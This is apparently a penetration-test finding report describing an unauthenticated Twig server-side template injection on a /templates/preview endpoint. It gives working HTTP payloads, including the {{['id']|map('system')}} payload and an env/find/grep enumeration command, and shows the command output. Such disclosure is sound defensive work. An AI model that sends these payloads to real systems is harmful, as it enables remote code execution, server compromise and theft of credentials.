Unauthenticated Twig SSTI leading to RCE on templates/preview?template=
/templates/previewAttack Path
Business Impact
An unauthenticated internet-facing attacker gains arbitrary OS command execution as www-data, allowing full server compromise including theft of application source code, environment secrets, and credentials. Attackers can deploy webshells or reverse shells, exfiltrate or destroy business data, and pivot to internal services, leading to operational disruption, data breach notification obligations, and regulatory exposure. Because the endpoint is public and requires no authentication, exploitation is trivially repeatable and could result in ransomware deployment or long-term persistent access.
Description
The template query parameter of /templates/preview is passed directly into the Twig template engine and rendered server-side with no sandboxing or input validation, allowing an attacker to inject arbitrary Twig template code. Because Twig's map filter accepts a string callable, the payload {{['id']|map('system')}} invokes PHP's system() function with attacker-controlled input, yielding unauthenticated OS command execution as the www-data user (uid=33). The endpoint is a public GET route, so no authentication or special privileges are required to achieve full remote code execution.
Proof of Concept
Setup
No authentication required - templates/preview is a public GET endpoint that renders the template query parameter through Twig (user-provided template code evaluated server-side).
Exploit
- Fingerprint the engine (Twig, not Jinja2 -
7*'7'evaluates to49, Jinja2 would print7777777):
GET /templates/preview?template={{7*'7'}} HTTP/1.1
Host: storefront.example
- Execute an OS command via Twig's
mapfilter with thesystemcallable:
GET /templates/preview?template=%7B%7B%5B%27id%27%5D%7Cmap%28%27system%27%29%7D%7D HTTP/1.1
Host: storefront.example
- Pivot to filesystem/asset enumeration (used during testing):
GET /templates/preview?template={{['env | grep -i apache; find / -name files/download 2>/dev/null; echo DONE']|map('system')}} HTTP/1.1
Verification
Response 200 with the command output rendered inside the template-output div:
<div class="template-output">
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Array </div>
The enumeration payload also returned server environment (APACHE_DOCUMENT_ROOT=/app/[REDACTED-PATH]) and located application files (/app/[REDACTED-PATH]), confirming full command execution as www-data. A full find / -name .htpasswd returned nothing - no .htpasswd exists on this host.
Cleanup
No persistent state was modified (commands were read-only: id, env, find, grep, ls).
Observed Behavior
Twig expressions {{7*7}} and {{7*'7'}} both evaluated to 49, confirming server-side template evaluation, and the payload {{['id']|map('system')}} executed the id command, returning uid=33(www-data) gid=33(www-data) groups=33(www-data) in the response body. Follow-up payloads running env, find, and grep also succeeded, confirming arbitrary OS command execution.
Attack Scenarios
- 1
An unauthenticated attacker executes arbitrary shell commands as www-data, enabling reverse shells, data exfiltration, and webroot modification.
- 2
An attacker reads application source code and embedded credentials via command execution.
- 3
An attacker pivots from the www-data context to other services reachable from the container to expand compromise.
Triage & Management
Validation Status
Exploitability
Asset Information
Anonymized staging evaluation. Explore the full detail view; management actions are available in your own workspace.
Find issues in your app